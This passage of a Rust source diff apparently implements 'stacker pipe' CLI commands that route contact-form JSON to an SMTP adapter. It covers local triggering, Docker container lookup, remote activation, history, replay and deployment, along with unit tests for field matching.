r#"{"email":"person@example.com","subject":"Local pipe test","message":"Hello from the local contact form"}"# + ) +} + +fn source_field_names(source_data: &serde_json::Value) -> Vec { + source_data + .as_object() + .map(|object| object.keys().cloned().collect()) + .unwrap_or_default() +} + +fn lookup_json_path<'a>( + source_data: &'a serde_json::Value, + expression: &str, +) -> Option<&'a serde_json::Value> { + if expression == "$" { + return Some(source_data); + } + + let mut current = source_data; + for segment in expression.strip_prefix("$.")?.split('.') { + if segment.is_empty() { + return None; + } + current = current.get(segment)?; + } + + Some(current) +} + +fn apply_field_mapping( + source_data: &serde_json::Value, + mapping: &serde_json::Value, +) -> serde_json::Value { + let mut output = serde_json::Map::new(); + + if let Some(mapping_object) = mapping.as_object() { + for (target_field, expression) in mapping_object { + if let Some(path) = expression.as_str() { + if let Some(value) = lookup_json_path(source_data, path) { + output.insert(target_field.clone(), value.clone()); + } + } + } + } + + serde_json::Value::Object(output) +} + +fn infer_local_mapping( + pipe: &LocalPipeDocument, + source_data: &serde_json::Value, +) -> Option { + let source_fields = source_field_names(source_data); + if source_fields.is_empty() || pipe.target.fields.is_empty() { + return None; + } + + let matcher = select_field_matcher(false, false, false); + let result = matcher.match_fields(&source_fields, &pipe.target.fields, Some(source_data)); + let mapping = result.mapping.as_object()?; + if mapping.is_empty() { + return None; + } + + Some(apply_field_mapping(source_data, &result.mapping)) +} + +fn apply_smtp_defaults(source_data: &serde_json::Value, payload: &mut serde_json::Value) { + let Some(source_object) = source_data.as_object() else { + return; + }; + let Some(payload_object) = payload.as_object_mut() else { + return; + }; + + if !payload_object.contains_key("subject") { + if let Some(subject) = source_object.get("subject") { + payload_object.insert("subject".to_string(), subject.clone()); + } + } + + if !payload_object.contains_key("from_email") { + if let Some(email) = source_object.get("email") { + payload_object.insert("from_email".to_string(), email.clone()); + } + } + + if !payload_object.contains_key("reply_to_email") { + if let Some(email) = source_object.get("email") { + payload_object.insert("reply_to_email".to_string(), email.clone()); + } + } + + if !payload_object.contains_key("body_text") { + if let Some(message) = source_object.get("message") { + payload_object.insert("body_text".to_string(), message.clone()); + } + } +} + +fn build_local_trigger_payload( + pipe: &LocalPipeDocument, + source_data: &serde_json::Value, +) -> serde_json::Value { + let mut payload = if pipe + .effective_field_mapping() + .as_object() + .map(|mapping| !mapping.is_empty()) + .unwrap_or(false) + { + apply_field_mapping(source_data, pipe.effective_field_mapping()) + } else { + infer_local_mapping(pipe, source_data).unwrap_or_else(|| source_data.clone()) + }; + + if pipe + .instance + .target_adapter + .as_ref() + .map(|adapter| adapter.code == "smtp") + .unwrap_or(false) + { + apply_smtp_defaults(source_data, &mut payload); + } + + payload +} + +fn is_loopback_host(host: &str) -> bool { + matches!(host, "localhost" | "127.0.0.1" | "::1" | "[::1]") +} + +fn local_target_aliases(container: &LocalContainerInfo) -> Vec<&str> { + let mut aliases = vec![container.name.as_str()]; + if let Some(service) = container.labels.get("com.docker.compose.service") { + aliases.push(service.as_str()); + } + aliases +} + +fn matches_local_target_alias(container: &LocalContainerInfo, candidate: &str) -> bool { + let candidate = candidate.trim(); + if candidate.is_empty() { + return false; + } + local_target_aliases(container).into_iter().any(|alias| { + alias.eq_ignore_ascii_case(candidate) + || alias + .to_ascii_lowercase() + .contains(&candidate.to_ascii_lowercase()) + }) +} + +fn find_local_target_container( + pipe: &LocalPipeDocument, + configured_host: Option<&str>, +) -> Result, CliError> { + let explicit_container = pipe + .instance + .target_container + .as_deref() + .or(pipe.target.container.as_deref()); + let selector = pipe.target.selector.as_str(); + let containers = discover_local_containers(None).map_err(|error| { + CliError::ConfigValidation(format!( + "Failed to inspect local Docker containers for pipe '{}': {}", + pipe.id, error + )) + })?; + + Ok(containers.into_iter().find(|container| { + explicit_container + .map(|name| matches_local_target_alias(container, name)) + .unwrap_or(false) + || matches_local_target_alias(container, selector) + || configured_host + .filter(|host| !is_loopback_host(host)) + .map(|host| matches_local_target_alias(container, host)) + .unwrap_or(false) + })) +} + +fn remap_smtp_target_reference_for_container( + mut target_adapter: PipeAdapterReference, + target_selector: &str, + container: &LocalContainerInfo, +) -> Result { + let Some(config) = target_adapter + .config + .as_mut() + .and_then(|value| value.as_object_mut()) + else { + return Ok(target_adapter); + }; + + let configured_host = config + .get("host") + .and_then(|value| value.as_str()) + .map(str::to_string); + let configured_port = config + .get("port") + .and_then(|value| value.as_u64()) + .and_then(|value| u16::try_from(value).ok()) + .unwrap_or(587); + + if let Some(binding) = container.ports.iter().find(|port| { + port.protocol == "tcp" + && (port.container_port == configured_port || port.host_port == Some(configured_port)) + }) { + if let Some(host_port) = binding.host_port { + config.insert( + "host".to_string(), + serde_json::json!(docker_host_target(binding.host_ip.as_deref())), + ); + config.insert("port".to_string(), serde_json::json!(host_port)); + return Ok(target_adapter); + } + } + + if configured_host + .as_deref() + .map(is_loopback_host) + .unwrap_or(false) + { + return Err(CliError::ConfigValidation(format!( + "Local SMTP target '{}' is configured for {}:{}, but the matching container '{}' does not publish that port to the host.\n\ + Publish the SMTP port in Docker Compose / stacker.yml or recreate the pipe with a host-reachable endpoint.", + target_selector, + configured_host.unwrap_or_else(|| "localhost".to_string()), + configured_port, + container.name + ))); + } + + if let Some(address) = container.addresses.first() { + config.insert("host".to_string(), serde_json::json!(address)); + return Ok(target_adapter); + } + + Ok(target_adapter) +} + +fn normalize_local_smtp_target_reference( + pipe: &LocalPipeDocument, + target_adapter: PipeAdapterReference, +) -> Result { + let configured_host = target_adapter + .config + .as_ref() + .and_then(|value| value.get("host")) + .and_then(|value| value.as_str()) + .map(str::to_string); + + let Some(container) = find_local_target_container(pipe, configured_host.as_deref())? else { + return Ok(target_adapter); + }; + + remap_smtp_target_reference_for_container(target_adapter, &pipe.target.selector, &container) +} + +async fn run_local_target_adapter( + pipe: &LocalPipeDocument, + payload: serde_json::Value, +) -> Result { + let target_adapter = pipe.instance.target_adapter.clone().ok_or_else(|| { + CliError::ConfigValidation(format!( + "Local trigger requires a target adapter. Pipe '{}' does not have one.", + pipe.id + )) + })?; + + match target_adapter.code.as_str() { + "smtp" => { + let resolved_adapter = normalize_local_smtp_target_reference(pipe, target_adapter)?; + let adapter = SmtpTargetAdapter::from_reference(resolved_adapter).map_err(|error| { + CliError::ConfigValidation(format!( + "Invalid SMTP adapter configuration for local pipe '{}': {}", + pipe.id, error + )) + })?; + + adapter + .deliver(PipeAdapterPayload::Json(payload)) + .await + .map_err(|error| { + CliError::ConfigValidation(format!( + "Local SMTP delivery failed for pipe '{}': {}", + pipe.id, error + )) + }) + } + other => Err(CliError::ConfigValidation(format!( + "Local trigger currently supports only the smtp target adapter. Pipe '{}' targets '{}'.", + pipe.id, other + ))), + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// stacker pipe activate — activate a pipe instance +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct PipeActivateCommand { + pub pipe_id: String, + pub trigger: String, + pub poll_interval: u32, + pub json: bool, + pub deployment: Option, +} + +impl PipeActivateCommand { + pub fn new( + pipe_id: String, + trigger: String, + poll_interval: u32, + json: bool, + deployment: Option, + ) -> Self { + Self { + pipe_id, + trigger, + poll_interval, + json, + deployment, + } + } +} + +impl CallableTrait for PipeActivateCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + if let Some(deploy_ctx) = resolve_local_deployment_context(&self.deployment, &project_dir)? + { + let prefix = mode_prefix(&deploy_ctx); + let store = LocalPipeStore::new(&project_dir); + let mut pipe = store.resolve(&self.pipe_id)?; + pipe.set_status("active"); + let local_path = store.save(&pipe)?; + + if self.json { + let mut output = serde_json::json!({ + "local": true, + "pipe": pipe, + "file": local_path, + "note": "Local activate marks the pipe active in .stacker/pipes. Use pipe trigger for one-shot execution." + }); + redact_sensitive_json(&mut output); + println!("{}", serde_json::to_string_pretty(&output)?); + return Ok(()); + } + + println!("\n {}✓ Local pipe '{}' marked active", prefix, pipe.id); + println!(" File: {}", local_path.display()); + println!( + " Note: local background listeners are not implemented yet for file-backed pipes." + ); + println!(" Test now: {}", example_local_trigger_command(&pipe.id)); + return Ok(()); + } + + let ctx = CliRuntime::new("pipe activate")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + ensure_remote_pipe_command_capability(&ctx, &hash)?; + + // Fetch pipe instance details to get source/target info + let pb = progress::spinner("Fetching pipe details..."); + let pipe = ctx + .block_on(ctx.client.get_pipe_instance(&self.pipe_id)) + .map_err(|e| { + progress::finish_error(&pb, "Failed"); + e + })? + .ok_or_else(|| { + CliError::ConfigValidation(format!("Pipe instance '{}' not found", self.pipe_id)) + })?; + progress::finish_success(&pb, "Pipe found"); + + // Get template info for endpoint details (if linked) + let (source_endpoint, source_method, target_endpoint, target_method, field_mapping) = + if let Some(ref tid) = pipe.template_id { + let templates = ctx.block_on(ctx.client.list_pipe_templates(None, None))?; + if let Some(tmpl) = templates.iter().find(|t| &t.id == tid) { + ( + tmpl.source_endpoint["path"] + .as_str() + .unwrap_or("/") + .to_string(), + tmpl.source_endpoint["method"] + .as_str() + .unwrap_or("GET") + .to_string(), + tmpl.target_endpoint["path"] + .as_str() + .unwrap_or("/") + .to_string(), + tmpl.target_endpoint["method"] + .as_str() + .unwrap_or("POST") + .to_string(), + pipe.field_mapping_override + .clone() + .unwrap_or(tmpl.field_mapping.clone()), + ) + } else { + ( + "/".to_string(), + "GET".to_string(), + "/".to_string(), + "POST".to_string(), + serde_json::json!({}), + ) + } + } else { + ( + "/".to_string(), + "GET".to_string(), + "/".to_string(), + "POST".to_string(), + pipe.field_mapping_override + .clone() + .unwrap_or(serde_json::json!({})), + ) + }; + + // 1. Update status to "active" via API + let pb = progress::spinner("Setting pipe status to active..."); + ctx.block_on(ctx.client.update_pipe_status(&self.pipe_id, "active")) + .map_err(|e| { + progress::finish_error(&pb, "Status update failed"); + e + })?; + progress::finish_success(&pb, "Status: active"); + + // 2. Send activate_pipe command to agent + let params = serde_json::json!({ + "pipe_instance_id": self.pipe_id, + "source_adapter": pipe.source_adapter.clone(), + "source_container": pipe.source_container.clone(), + "source_endpoint": source_endpoint, + "source_method": source_method, + "target_adapter": pipe.target_adapter.clone(), + "target_container": pipe.target_container.clone(), + "target_url": pipe.target_url.clone(), + "target_endpoint": target_endpoint, + "target_method": target_method, + "field_mapping": field_mapping, + "trigger_type": self.trigger, + "poll_interval_secs": self.poll_interval, + }); + + let request = AgentEnqueueRequest::new(&hash, "activate_pipe").with_raw_parameters(params); + + let info = run_agent_command( + &ctx, + &request, + "Activating pipe on agent", + PROBE_TIMEOUT_SECS, + )?; + + print_command_result(&info, self.json); + + if !self.json && info.status == "completed" { + println!("\n ✓ Pipe '{}' is now active", self.pipe_id); + println!(" Trigger type: {}", self.trigger); + if self.trigger == "poll" { + println!(" Poll interval: {}s", self.poll_interval); + } + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// stacker pipe deactivate — stop a pipe +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct PipeDeactivateCommand { + pub pipe_id: String, + pub json: bool, + pub deployment: Option, +} + +impl PipeDeactivateCommand { + pub fn new(pipe_id: String, json: bool, deployment: Option) -> Self { + Self { + pipe_id, + json, + deployment, + } + } +} + +impl CallableTrait for PipeDeactivateCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + if let Some(deploy_ctx) = resolve_local_deployment_context(&self.deployment, &project_dir)? + { + let prefix = mode_prefix(&deploy_ctx); + let store = LocalPipeStore::new(&project_dir); + let mut pipe = store.resolve(&self.pipe_id)?; + pipe.set_status("paused"); + let local_path = store.save(&pipe)?; + + if self.json { + let mut output = serde_json::json!({ + "local": true, + "pipe": pipe, + "file": local_path + }); + redact_sensitive_json(&mut output); + println!("{}", serde_json::to_string_pretty(&output)?); + return Ok(()); + } + + println!("\n {}✓ Local pipe '{}' paused", prefix, pipe.id); + println!(" File: {}", local_path.display()); + return Ok(()); + } + + let ctx = CliRuntime::new("pipe deactivate")?; + let hash = resolve_deployment_hash(&self.deployment, &ctx)?; + ensure_remote_pipe_command_capability(&ctx, &hash)?; + + // 1. Update status to "paused" via API + let pb = progress::spinner("Setting pipe status to paused..."); + ctx.block_on(ctx.client.update_pipe_status(&self.pipe_id, "paused")) + .map_err(|e| { + progress::finish_error(&pb, "Status update failed"); + e + })?; + progress::finish_success(&pb, "Status: paused"); + + // 2. Send deactivate_pipe command to agent + let params = serde_json::json!({ + "pipe_instance_id": self.pipe_id, + }); + + let request = + AgentEnqueueRequest::new(&hash, "deactivate_pipe").with_raw_parameters(params); + + let info = run_agent_command( + &ctx, + &request, + "Deactivating pipe on agent", + PROBE_TIMEOUT_SECS, + )?; + + print_command_result(&info, self.json); + + if !self.json && info.status == "completed" { + println!("\n ✓ Pipe '{}' deactivated", self.pipe_id); + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// stacker pipe trigger — one-shot pipe execution +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct PipeTriggerCommand { + pub pipe_id: String, + pub data: Option, + pub json: bool, + pub deployment: Option, +} + +impl PipeTriggerCommand { + pub fn new( + pipe_id: String, + data: Option, + json: bool, + deployment: Option, + ) -> Self { + Self { + pipe_id, + data, + json, + deployment, + } + } +} + +impl CallableTrait for PipeTriggerCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + let deploy_ctx = if let Some(local_ctx) = + resolve_local_deployment_context(&self.deployment, &project_dir)? + { + local_ctx + } else { + let ctx = CliRuntime::new("pipe trigger")?; + resolve_deployment_context(&self.deployment, &ctx)? + }; + let prefix = mode_prefix(&deploy_ctx); + + let input_data = match &self.data { + Some(raw) => { + let parsed: serde_json::Value = serde_json::from_str(raw) + .map_err(|e| CliError::ConfigValidation(format!("Invalid JSON data: {}", e)))?; + Some(parsed) + } + None => None, + }; + + if deploy_ctx.is_local() { + let store = LocalPipeStore::new(&project_dir); + let mut pipe = store.resolve(&self.pipe_id)?; + let source_data = input_data.ok_or_else(|| { + CliError::ConfigValidation(format!( + "Local trigger requires --data '' for now.\nExample: {}", + example_local_trigger_command(&pipe.id) + )) + })?; + let effective_payload = build_local_trigger_payload(&pipe, &source_data); + let pb = progress::spinner(&format!( + "{}Triggering pipe '{}' locally...", + prefix, self.pipe_id + )); + let runtime = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|error| { + progress::finish_error(&pb, "Local runtime initialization failed"); + CliError::ConfigValidation(format!( + "Cannot start local pipe runtime: {}", + error + )) + })?; + + match runtime.block_on(run_local_target_adapter(&pipe, effective_payload.clone())) { + Ok(result) => { + pipe.record_trigger_success(); + let local_path = store.save(&pipe)?; + progress::finish_success(&pb, &format!("{}Pipe triggered locally", prefix)); + if self.json { + let mut output = serde_json::json!({ + "status": "completed", + "local": true, + "pipe_id": pipe.id, + "file": local_path, + "input_data": source_data, + "effective_payload": effective_payload, + "result": result, + }); + redact_sensitive_json(&mut output); + println!("{}", serde_json::to_string_pretty(&output)?); + } else { + println!("\n {}✓ Pipe '{}' triggered locally", prefix, pipe.id); + println!(" File: {}", local_path.display()); + println!( + " Trigger count: {} Errors: {}", + pipe.instance.trigger_count, pipe.instance.error_count + ); + } + } + Err(error) => { + pipe.record_trigger_failure(); + let _ = store.save(&pipe); + progress::finish_error(&pb, "Local trigger failed"); + return Err(Box::new(error)); + } + } + + return Ok(()); + } + + let ctx = CliRuntime::new("pipe trigger")?; + let hash = match &deploy_ctx { + DeploymentContext::Remote(h) => h.clone(), + _ => unreachable!(), + }; + ensure_remote_pipe_command_capability(&ctx, &hash)?; + + let params = serde_json::json!({ + "pipe_instance_id": self.pipe_id, + "input_data": input_data, + }); + + let request = AgentEnqueueRequest::new(&hash, "trigger_pipe").with_raw_parameters(params); + + let info = run_agent_command(&ctx, &request, "Triggering pipe", PROBE_TIMEOUT_SECS)?; + + print_command_result(&info, self.json); + + if !self.json { + if info.status == "completed" { + if let Some(ref result) = info.result { + let success = result["success"].as_bool().unwrap_or(false); + if success { + println!("\n ✓ Pipe '{}' triggered successfully", self.pipe_id); + } else { + let error = result["error"].as_str().unwrap_or("unknown error"); + eprintln!("\n ✗ Pipe trigger failed: {}", error); + } + } + } + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// stacker pipe history — show execution history +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct PipeHistoryCommand { + pub instance_id: String, + pub limit: i64, + pub json: bool, + pub deployment: Option, +} + +impl PipeHistoryCommand { + pub fn new(instance_id: String, limit: i64, json: bool, deployment: Option) -> Self { + Self { + instance_id, + limit, + json, + deployment, + } + } +} + +impl CallableTrait for PipeHistoryCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("pipe history")?; + let deploy_ctx = resolve_deployment_context(&self.deployment, &ctx)?; + let _prefix = mode_prefix(&deploy_ctx); + + let pb = progress::spinner("Fetching execution history..."); + let executions = ctx + .block_on( + ctx.client + .list_pipe_executions(&self.instance_id, self.limit, 0), + ) + .map_err(|e| { + progress::finish_error(&pb, "Failed to fetch history"); + e + })?; + progress::finish_success(&pb, &format!("{} execution(s) found", executions.len())); + + if executions.is_empty() { + println!( + "No executions recorded for pipe instance '{}'.", + self.instance_id + ); + println!( + "Use 'stacker pipe trigger {}' to execute the pipe.", + self.instance_id + ); + return Ok(()); + } + + if self.json { + println!("{}", serde_json::to_string_pretty(&executions)?); + return Ok(()); + } + + println!( + "\n{:<38} {:<10} {:<10} {:>10} {:<22} {}", + "EXECUTION ID", "TRIGGER", "STATUS", "DURATION", "STARTED", "ERROR" + ); + println!("{}", "─".repeat(110)); + + for exec in &executions { + let status_icon = match exec.status.as_str() { + "success" => "✓ success", + "failed" => "✗ failed", + "running" => "⟳ running", + _ => &exec.status, + }; + let duration = exec + .duration_ms + .map(|ms| format!("{}ms", ms)) + .unwrap_or_else(|| "-".to_string()); + let error = exec.error.as_deref().unwrap_or(""); + + println!( + "{:<38} {:<10} {:<10} {:>10} {:<22} {}", + &exec.id, + truncate_str(&exec.trigger_type, 9), + status_icon, + duration, + truncate_str(&exec.started_at, 21), + truncate_str(error, 30), + ); + } + + println!("\n{} execution(s) shown.", executions.len()); + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// stacker pipe replay — replay a previous execution +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct PipeReplayCommand { + pub execution_id: String, + pub json: bool, + pub deployment: Option, +} + +impl PipeReplayCommand { + pub fn new(execution_id: String, json: bool, deployment: Option) -> Self { + Self { + execution_id, + json, + deployment, + } + } +} + +impl CallableTrait for PipeReplayCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("pipe replay")?; + let _hash = resolve_deployment_hash(&self.deployment, &ctx)?; + + let pb = progress::spinner(&format!("Replaying execution {}...", &self.execution_id)); + let replay = ctx + .block_on(ctx.client.replay_pipe_execution(&self.execution_id)) + .map_err(|e| { + progress::finish_error(&pb, "Replay failed"); + e + })?; + progress::finish_success(&pb, "Replay initiated"); + + if self.json { + println!("{}", serde_json::to_string_pretty(&replay)?); + return Ok(()); + } + + println!("\n Replay execution: {}", replay.execution_id); + println!(" Replaying from: {}", replay.replay_of); + if let Some(ref cmd_id) = replay.command_id { + println!(" Command ID: {}", cmd_id); + println!("\n Replay enqueued. Use 'stacker pipe history' to check results."); + } else { + println!(" Status: {}", replay.status); + println!(" (command not enqueued — check server logs)"); + } + + Ok(()) + } +} + +pub struct PipeDeployCommand { + pub instance_id: String, + pub deployment_hash: String, + pub json: bool, +} + +impl PipeDeployCommand { + pub fn new(instance_id: String, deployment_hash: String, json: bool) -> Self { + Self { + instance_id, + deployment_hash, + json, + } + } +} + +impl CallableTrait for PipeDeployCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("pipe deploy")?; + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + let store = LocalPipeStore::new(&project_dir); + let local_pipe = store.resolve(&self.instance_id)?; + let template_request = local_pipe.to_template_request(); + + let template_pb = progress::spinner(&format!( + "Resolving remote template for {} → {}...", + &local_pipe.id, &self.deployment_hash + )); + let templates = ctx + .block_on(ctx.client.list_pipe_templates( + Some(&template_request.source_app_type), + Some(&template_request.target_app_type), + )) + .map_err(|e| { + progress::finish_error(&template_pb, "Template lookup failed"); + e + })?; + let template = + match find_reusable_pipe_template(&templates, &template_request).map_err(|e| { + progress::finish_error(&template_pb, "Template promotion failed"); + e + })? { + Some(existing) => { + progress::finish_success(&template_pb, "Using existing template"); + existing + } + None => { + let created = ctx + .block_on(ctx.client.create_pipe_template(&template_request)) + .map_err(|e| { + progress::finish_error(&template_pb, "Template promotion failed"); + e + })?; + progress::finish_success(&template_pb, "Template promoted"); + created + } + }; + + let instance_request = + local_pipe.to_instance_request(self.deployment_hash.clone(), template.id.clone()); + + let instance_pb = progress::spinner("Creating remote pipe instance..."); + let remote = ctx + .block_on(ctx.client.create_pipe_instance(&instance_request)) + .map_err(|e| { + progress::finish_error(&instance_pb, "Remote instance creation failed"); + e + })?; + progress::finish_success(&instance_pb, "Pipe deployed to remote"); + + let mut updated_pipe = local_pipe.clone(); + updated_pipe.record_promotion(&self.deployment_hash, &template.id, &remote.id); + let local_path = store.save(&updated_pipe)?; + + if self.json { + let mut output = serde_json::json!({ + "local_pipe": updated_pipe, + "remote_template_id": template.id, + "remote_instance": remote, + }); + redact_sensitive_json(&mut output); + println!("{}", serde_json::to_string_pretty(&output)?); + return Ok(()); + } + + println!("\n ✓ Local pipe promoted to remote deployment"); + println!(" Local pipe ID: {}", updated_pipe.id); + println!(" Local file: {}", local_path.display()); + println!(" Remote template ID: {}", template.id); + println!(" Remote instance ID: {}", remote.id); + println!(" Deployment: {}", &remote.deployment_hash); + println!(" Source: {}", remote.source_container); + if let Some(ref t) = remote.target_container { + println!(" Target: {}", t); + } else if let Some(ref adapter) = remote.target_adapter { + println!(" Target: {} adapter", adapter.code); + } + println!(" Status: {}", remote.status); + println!( + "\n Use 'stacker pipe activate {}' to start the remote pipe.", + remote.id + ); + + Ok(()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::field_matcher::{DeterministicFieldMatcher, FieldMatcher}; + use serde_json::json; + + fn sample_local_smtp_pipe(mapping: serde_json::Value) -> LocalPipeDocument { + LocalPipeDocument::draft(NewLocalPipeDocument { + name: "status-panel-web-to-smtp".to_string(), + source: LocalPipeBinding { + selector: "status-panel-web".to_string(), + container: Some("status-panel-web".to_string()), + adapter: None, + method: "POST".to_string(), + path: "/contact".to_string(), + fields: vec![ + "name".to_string(), + "email".to_string(), + "subject".to_string(), + "message".to_string(), + ], + }, + target: LocalPipeBinding { + selector: "smtp".to_string(), + container: None, + adapter: Some( + PipeAdapterReference::new("smtp") + .with_role(PipeAdapterRole::Target) + .with_config(json!({ + "host": "smtp", + "port": 1025, + "from": "info@example.com", + "to": ["ops@example.com"], + "tls": false + })), + ), + method: "SEND".to_string(), + path: "adapter:smtp".to_string(), + fields: vec![ + "from_email".to_string(), + "reply_to_email".to_string(), + "subject".to_string(), + "body_text".to_string(), + "body_html".to_string(), + ], + }, + template: LocalPipeTemplate { + description: Some("POST /contact -> SEND adapter:smtp".to_string()), + source_app_type: "status-panel-web".to_string(), + source_endpoint: json!({"method":"POST","path":"/contact"}), + target_app_type: "smtp".to_string(), + target_endpoint: json!({"adapter":"smtp","mode":"adapter"}), + target_external_url: None, + field_mapping: mapping, + config: Some(json!({"retry_count": 3})), + is_public: false, + }, + instance: LocalPipeInstance { + source_adapter: None, + source_container: "status-panel-web".to_string(), + target_adapter: Some( + PipeAdapterReference::new("smtp") + .with_role(PipeAdapterRole::Target) + .with_config(json!({ + "host": "smtp", + "port": 1025, + "from": "info@example.com", + "to": ["ops@example.com"], + "tls": false + })), + ), + target_container: None, + target_url: None, + field_mapping_override: None, + config_override: None, + trigger_count: 0, + error_count: 0, + last_triggered_at: None, + }, + diagnostics: LocalPipeDiagnostics::default(), + }) + .expect("sample local pipe should be valid") + } + + fn sample_smtp_container(host_port: Option) -> LocalContainerInfo { + LocalContainerInfo { + id: "abc123".to_string(), + name: "status-smtp-1".to_string(), + image: "mailpit/mailpit:latest".to_string(), + network: "status_default".to_string(), + addresses: vec!["172.18.0.30".to_string()], + ports: vec![LocalPortBinding { + container_port: 1025, + host_port, + host_ip: Some("0.0.0.0".to_string()), + protocol: "tcp".to_string(), + }], + status: "running".to_string(), + env: BTreeMap::new(), + labels: BTreeMap::from([( + "com.docker.compose.service".to_string(), + "smtp".to_string(), + )]), + } + } + + fn sample_exim_container(host_port: Option) -> LocalContainerInfo { + LocalContainerInfo { + id: "def456".to_string(), + name: "status-smtp-1".to_string(), + image: "exim:latest".to_string(), + network: "status_default".to_string(), + addresses: vec!["172.18.0.31".to_string()], + ports: vec![LocalPortBinding { + container_port: 25, + host_port, + host_ip: Some("0.0.0.0".to_string()), + protocol: "tcp".to_string(), + }], + status: "running".to_string(), + env: BTreeMap::new(), + labels: BTreeMap::from([( + "com.docker.compose.service".to_string(), + "smtp".to_string(), + )]), + } + } + + fn sample_template_request() -> CreatePipeTemplateApiRequest { + sample_local_smtp_pipe(json!({"subject": "$.subject"})).to_template_request() + } + + fn sample_template_info() -> PipeTemplateInfo { + let request = sample_template_request(); + PipeTemplateInfo { + id: "tmpl-1".to_string(), + name: request.name, + description: request.description, + source_app_type: request.source_app_type, + source_endpoint: request.source_endpoint, + target_app_type: request.target_app_type, + target_endpoint: request.target_endpoint, + target_external_url: request.target_external_url, + field_mapping: request.field_mapping, + config: request.config, + is_public: request.is_public, + created_by: "user-1".to_string(), + created_at: "2026-05-23T00:00:00Z".to_string(), + updated_at: "2026-05-23T00:00:00Z".to_string(), + } + } + + #[test] + fn test_find_reusable_pipe_template_reuses_identical_template() { + let request = sample_template_request(); + let existing = sample_template_info(); + + let resolved = find_reusable_pipe_template(&[existing.clone()], &request) + .expect("lookup should succeed"); + + let resolved = resolved.expect("template should be reused"); + assert_eq!(resolved.id, existing.id); + assert_eq!(resolved.name, existing.name); + } + + #[test] + fn test_find_reusable_pipe_template_rejects_conflicting_template() { + let request = sample_template_request(); + let mut existing = sample_template_info(); + existing.target_endpoint = json!({"adapter":"smtp","mode":"adapter","variant":"other"}); + + let error = find_reusable_pipe_template(&[existing], &request) + .expect_err("conflicting template should be rejected"); + + assert!( + error + .to_string() + .contains("already exists with a different definition"), + "unexpected error: {error}" + ); + } + + #[test] + fn test_smart_field_match_exact() { + let matcher = DeterministicFieldMatcher; + let src = vec!["email".to_string(), "name".to_string(), "id".to_string()]; + let tgt = vec!["email".to_string(), "name".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.email"); + assert_eq!(map["name"], "$.name"); + } + + #[test] + fn test_smart_field_match_case_insensitive() { + let matcher = DeterministicFieldMatcher; + let src = vec!["Email".to_string(), "UserName".to_string()]; + let tgt = vec!["email".to_string(), "username".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.Email"); + assert_eq!(map["username"], "$.UserName"); + } + + #[test] + fn test_smart_field_match_semantic_aliases() { + let matcher = DeterministicFieldMatcher; + let src = vec!["user_email".to_string(), "display_name".to_string()]; + let tgt = vec!["email".to_string(), "name".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["email"], "$.user_email"); + assert_eq!(map["name"], "$.display_name"); + } + + #[test] + fn test_smart_field_match_type_aware_suffix() { + let matcher = DeterministicFieldMatcher; + let src = vec!["author_id".to_string(), "post_id".to_string()]; + let tgt = vec!["user_id".to_string()]; + let sample = json!({"author_id": 42, "post_id": 1}); + let result = matcher.match_fields(&src, &tgt, Some(&sample)); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map["user_id"], "$.author_id"); + } + + #[test] + fn test_smart_field_match_no_matches() { + let matcher = DeterministicFieldMatcher; + let src = vec!["foo".to_string()]; + let tgt = vec!["bar".to_string()]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert!(map.is_empty()); + } + + #[test] + fn test_smart_field_match_mixed_strategies() { + let matcher = DeterministicFieldMatcher; + let src = vec![ + "email".to_string(), + "display_name".to_string(), + "Phone".to_string(), + ]; + let tgt = vec![ + "email".to_string(), + "name".to_string(), + "phone".to_string(), + "unknown".to_string(), + ]; + let result = matcher.match_fields(&src, &tgt, None); + let map = result.mapping.as_object().unwrap(); + assert_eq!(map.len(), 3); + assert_eq!(map["email"], "$.email"); + assert_eq!(map["name"], "$.display_name"); + assert_eq!(map["phone"], "$.Phone"); + assert!(!map.contains_key("unknown")); + } + + #[test] + fn test_deployment_context_local_is_local() { + let ctx = DeploymentContext::Local; + assert!(ctx.is_local()); + assert!(ctx.hash().is_none()); + } + + #[test] + fn test_deployment_context_remote_has_hash() { + let ctx = DeploymentContext::Remote("abc123".to_string()); + assert!(!ctx.is_local()); + assert_eq!(ctx.hash(), 